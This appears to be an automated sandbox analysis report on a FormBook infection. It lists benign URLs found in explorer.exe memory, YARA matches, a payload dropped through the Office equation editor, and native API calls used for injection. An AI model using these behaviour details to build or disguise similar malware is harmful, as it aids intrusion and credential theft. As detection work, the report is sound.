Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.pchome.com.tw/favicon.ico
Source: explorer.exe, 00000006.00000000.2113162217.00000000039F4000.00000004.00000001.sdmp String found in binary or memory: http://www.piriform.com/ccleaner
Source: explorer.exe, 00000006.00000000.2122657070.000000000839A000.00000004.00000001.sdmp String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: explorer.exe, 00000006.00000000.2122657070.000000000839A000.00000004.00000001.sdmp String found in binary or memory: http://www.piriform.com/ccleanerp
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.priceminister.com/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.priceminister.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.rakuten.co.jp/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.rambler.ru/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.rambler.ru/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.recherche.aol.fr/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.rtl.de/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.rtl.de/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.servicios.clarin.com/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.shopzilla.com/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.sify.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.so-net.ne.jp/share/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.sogou.com/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.sogou.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.soso.com/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.soso.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.t-online.de/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.taobao.com/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.taobao.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.target.com/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.target.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.tchibo.de/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.tchibo.de/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.tesco.com/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.tesco.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.timesonline.co.uk/img/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.tiscali.it/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.univision.com/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.univision.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.walmart.com/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.walmart.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2113776918.0000000003C40000.00000002.00000001.sdmp String found in binary or memory: http://www.windows.com/pctv.
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.ya.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www.yam.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www3.fnac.com/
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://www3.fnac.com/favicon.ico
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://xml-us.amznxslt.com/onca/xml?Service=AWSECommerceService&amp;Version=2008-06-26&amp;Operation
Source: explorer.exe, 00000006.00000000.2127067427.000000000A3E9000.00000008.00000001.sdmp String found in binary or memory: http://z.about.com/m/a08.ico
Source: explorer.exe, 00000006.00000000.2122869349.000000000842E000.00000004.00000001.sdmp, explorer.exe, 00000006.00000000.2115552459.0000000004263000.00000004.00000001.sdmp String found in binary or memory: https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBSKZM1Y&prvid=77%2
Source: explorer.exe, 00000006.00000000.2115416675.00000000041AD000.00000004.00000001.sdmp String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CUT39MWR&crid=715624197&size=306x271&https=1
Source: explorer.exe, 00000006.00000000.2122869349.000000000842E000.00000004.00000001.sdmp String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CUT39MWR&crid=715624197&size=306x271&https=1LMEM

E-Banking Fraud:

barindex
Yara detected FormBook
Source: Yara match File source: 00000007.00000002.2363397604.00000000001C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2137078949.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2136966268.0000000000170000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2137046396.00000000002B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.2104089442.0000000000280000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2363285705.0000000000080000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2363479849.0000000000250000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 4.2.mpomboby8423.exe.280000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.mpomboby8423.exe.280000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.mpomboby8423.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.mpomboby8423.exe.400000.0.unpack, type: UNPACKEDPE

System Summary:

barindex
Malicious sample detected (through community Yara rule)
Source: 00000007.00000002.2363397604.00000000001C0000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.2363397604.00000000001C0000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.2137078949.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.2137078949.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.2136966268.0000000000170000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.2136966268.0000000000170000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.2137046396.00000000002B0000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.2137046396.00000000002B0000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.2104089442.0000000000280000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000002.2104089442.0000000000280000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.2363285705.0000000000080000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.2363285705.0000000000080000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.2363479849.0000000000250000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.2363479849.0000000000250000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 4.2.mpomboby8423.exe.280000.1.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 4.2.mpomboby8423.exe.280000.1.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 4.2.mpomboby8423.exe.280000.1.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 4.2.mpomboby8423.exe.280000.1.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.mpomboby8423.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.2.mpomboby8423.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.mpomboby8423.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.2.mpomboby8423.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\mpomabiva[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\mpomboby8423.exe Jump to dropped file
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\help.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\help.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Contains functionality to call native functions
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0041A060 NtClose, 5_2_0041A060
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0041A110 NtAllocateVirtualMemory, 5_2_0041A110
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00419F30 NtCreateFile, 5_2_00419F30
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00419FE0 NtReadFile, 5_2_00419FE0
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0041A05D NtClose, 5_2_0041A05D
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0041A08A NtClose, 5_2_0041A08A
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0041A10B NtAllocateVirtualMemory, 5_2_0041A10B
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00419F2A NtCreateFile,NtReadFile, 5_2_00419F2A
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_009100C4 NtCreateFile,LdrInitializeThunk, 5_2_009100C4
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00910048 NtProtectVirtualMemory,LdrInitializeThunk, 5_2_00910048
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00910078 NtResumeThread,LdrInitializeThunk, 5_2_00910078
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0090F9F0 NtClose,LdrInitializeThunk, 5_2_0090F9F0
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0090F900 NtReadFile,LdrInitializeThunk, 5_2_0090F900
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0090FAD0 NtAllocateVirtualMemory,LdrInitializeThunk, 5_2_0090FAD0
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0090FAE8 NtQueryInformationProcess,LdrInitializeThunk, 5_2_0090FAE8
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0090FBB8 NtQueryInformationToken,LdrInitializeThunk, 5_2_0090FBB8
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0090FB68 NtFreeVirtualMemory,LdrInitializeThunk, 5_2_0090FB68
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0090FC90 NtUnmapViewOfSection,LdrInitializeThunk, 5_2_0090FC90
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0090FC60 NtMapViewOfSection,LdrInitializeThunk, 5_2_0090FC60
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0090FD8C NtDelayExecution,LdrInitializeThunk, 5_2_0090FD8C
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0090FDC0 NtQuerySystemInformation,LdrInitializeThunk, 5_2_0090FDC0
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0090FEA0 NtReadVirtualMemory,LdrInitializeThunk, 5_2_0090FEA0
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0090FED0 NtAdjustPrivilegesToken,LdrInitializeThunk, 5_2_0090FED0
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0090FFB4 NtCreateSection,LdrInitializeThunk, 5_2_0090FFB4
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_009110D0 NtOpenProcessToken, 5_2_009110D0
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00910060 NtQuerySection, 5_2_00910060
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_009101D4 NtSetValueKey, 5_2_009101D4
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0091010C NtOpenDirectoryObject, 5_2_0091010C
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00911148 NtOpenThread, 5_2_00911148
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_009107AC NtCreateMutant, 5_2_009107AC
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0090F8CC NtWaitForSingleObject, 5_2_0090F8CC
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00911930 NtSetContextThread, 5_2_00911930
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0090F938 NtWriteFile, 5_2_0090F938
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0090FAB8 NtQueryValueKey, 5_2_0090FAB8
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0090FA20 NtQueryInformationFile, 5_2_0090FA20
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0090FA50 NtEnumerateValueKey, 5_2_0090FA50
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0090FBE8 NtQueryVirtualMemory, 5_2_0090FBE8
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0090FB50 NtCreateKey, 5_2_0090FB50
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0090FC30 NtOpenProcess, 5_2_0090FC30
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00910C40 NtGetContextThread, 5_2_00910C40
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0090FC48 NtSetInformationFile, 5_2_0090FC48
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00911D80 NtSuspendThread, 5_2_00911D80
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0090FD5C NtEnumerateKey, 5_2_0090FD5C
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0090FE24 NtWriteVirtualMemory, 5_2_0090FE24
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0090FFFC NtCreateProcessEx, 5_2_0090FFFC
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0090FF34 NtQueueApcThread, 5_2_0090FF34
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00289882 NtQueryInformationProcess,RtlWow64SuspendThread,NtSetContextThread,NtQueueApcThread,NtResumeThread,NtClose, 5_2_00289882
Source: C:\Windows\explorer.exe Code function: 6_2_02975A52 NtCreateFile, 6_2_02975A52
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A000C4 NtCreateFile,LdrInitializeThunk, 7_2_00A000C4
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A007AC NtCreateMutant,LdrInitializeThunk, 7_2_00A007AC
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_009FF9F0 NtClose,LdrInitializeThunk, 7_2_009FF9F0
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_009FF900 NtReadFile,LdrInitializeThunk, 7_2_009FF900
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_009FFAB8 NtQueryValueKey,LdrInitializeThunk, 7_2_009FFAB8
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_009FFAD0 NtAllocateVirtualMemory,LdrInitializeThunk, 7_2_009FFAD0
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_009FFAE8 NtQueryInformationProcess,LdrInitializeThunk, 7_2_009FFAE8
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_009FFBB8 NtQueryInformationToken,LdrInitializeThunk, 7_2_009FFBB8
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_009FFB50 NtCreateKey,LdrInitializeThunk, 7_2_009FFB50
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_009FFB68 NtFreeVirtualMemory,LdrInitializeThunk, 7_2_009FFB68
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_009FFC60 NtMapViewOfSection,LdrInitializeThunk, 7_2_009FFC60
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_009FFD8C NtDelayExecution,LdrInitializeThunk, 7_2_009FFD8C
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_009FFDC0 NtQuerySystemInformation,LdrInitializeThunk, 7_2_009FFDC0
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_009FFED0 NtAdjustPrivilegesToken,LdrInitializeThunk, 7_2_009FFED0
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_009FFFB4 NtCreateSection,LdrInitializeThunk, 7_2_009FFFB4
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A010D0 NtOpenProcessToken, 7_2_00A010D0
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A00060 NtQuerySection, 7_2_00A00060
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A00078 NtResumeThread, 7_2_00A00078
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A00048 NtProtectVirtualMemory, 7_2_00A00048
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A001D4 NtSetValueKey, 7_2_00A001D4
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A0010C NtOpenDirectoryObject, 7_2_00A0010C
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A01148 NtOpenThread, 7_2_00A01148
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_009FF8CC NtWaitForSingleObject, 7_2_009FF8CC
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A01930 NtSetContextThread, 7_2_00A01930
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_009FF938 NtWriteFile, 7_2_009FF938
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_009FFA20 NtQueryInformationFile, 7_2_009FFA20
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_009FFA50 NtEnumerateValueKey, 7_2_009FFA50
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_009FFBE8 NtQueryVirtualMemory, 7_2_009FFBE8
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_009FFC90 NtUnmapViewOfSection, 7_2_009FFC90
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_009FFC30 NtOpenProcess, 7_2_009FFC30
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_009FFC48 NtSetInformationFile, 7_2_009FFC48
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A00C40 NtGetContextThread, 7_2_00A00C40
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00A01D80 NtSuspendThread, 7_2_00A01D80
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_009FFD5C NtEnumerateKey, 7_2_009FFD5C
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_009FFEA0 NtReadVirtualMemory, 7_2_009FFEA0
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_009FFE24 NtWriteVirtualMemory, 7_2_009FFE24
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_009FFFFC NtCreateProcessEx, 7_2_009FFFFC
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_009FFF34 NtQueueApcThread, 7_2_009FFF34
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_0009A060 NtClose, 7_2_0009A060
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_0009A110 NtAllocateVirtualMemory, 7_2_0009A110
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00099F30 NtCreateFile, 7_2_00099F30
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00099FE0 NtReadFile, 7_2_00099FE0
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_0009A05D NtClose, 7_2_0009A05D
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_0009A08A NtClose, 7_2_0009A08A
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_0009A10B NtAllocateVirtualMemory, 7_2_0009A10B
Source: C:\Windows\SysWOW64\help.exe Code function: 7_2_00099F2A NtCreateFile,NtReadFile, 7_2_00099F2A
Detected potential crypto function
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 4_2_012BD929 4_2_012BD929
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 4_2_012BA951 4_2_012BA951
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 4_2_012C51BC 4_2_012C51BC
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 4_2_012C7991 4_2_012C7991
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 4_2_012C55E0 4_2_012C55E0
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 4_2_012C683C 4_2_012C683C
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 4_2_012C0432 4_2_012C0432
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 4_2_012C60C0 4_2_012C60C0
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 4_2_012C5B50 4_2_012C5B50
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00401030 5_2_00401030
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0041E195 5_2_0041E195
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0041DA0A 5_2_0041DA0A
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00402D90 5_2_00402D90
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00409E40 5_2_00409E40
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0041D643 5_2_0041D643
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00409E3B 5_2_00409E3B
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00402FB0 5_2_00402FB0
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_012BD929 5_2_012BD929
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_012BA951 5_2_012BA951
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_012C51BC 5_2_012C51BC
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_012C7991 5_2_012C7991
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_012C683C 5_2_012C683C
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_012C60C0 5_2_012C60C0
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_012C5B50 5_2_012C5B50
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_012C55E0 5_2_012C55E0
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_012C0432 5_2_012C0432
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0091E0C6 5_2_0091E0C6
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0094D005 5_2_0094D005
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0093905A 5_2_0093905A
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00923040 5_2_00923040
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0099D06D 5_2_0099D06D
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0091E2E9 5_2_0091E2E9
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_009C1238 5_2_009C1238
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_009C63BF 5_2_009C63BF
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_009463DB 5_2_009463DB
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0091F3CF 5_2_0091F3CF
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00922305 5_2_00922305
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00927353 5_2_00927353
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0096A37B 5_2_0096A37B
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00955485 5_2_00955485
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_00931489 5_2_00931489
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_009A443E 5_2_009A443E
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0095D47D 5_2_0095D47D
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_0093C5F0 5_2_0093C5F0
Source: C:\Users\user\AppData\Roaming\mpomboby8423.exe Code function: 5_2_009A05E3 5_2_009A05E3
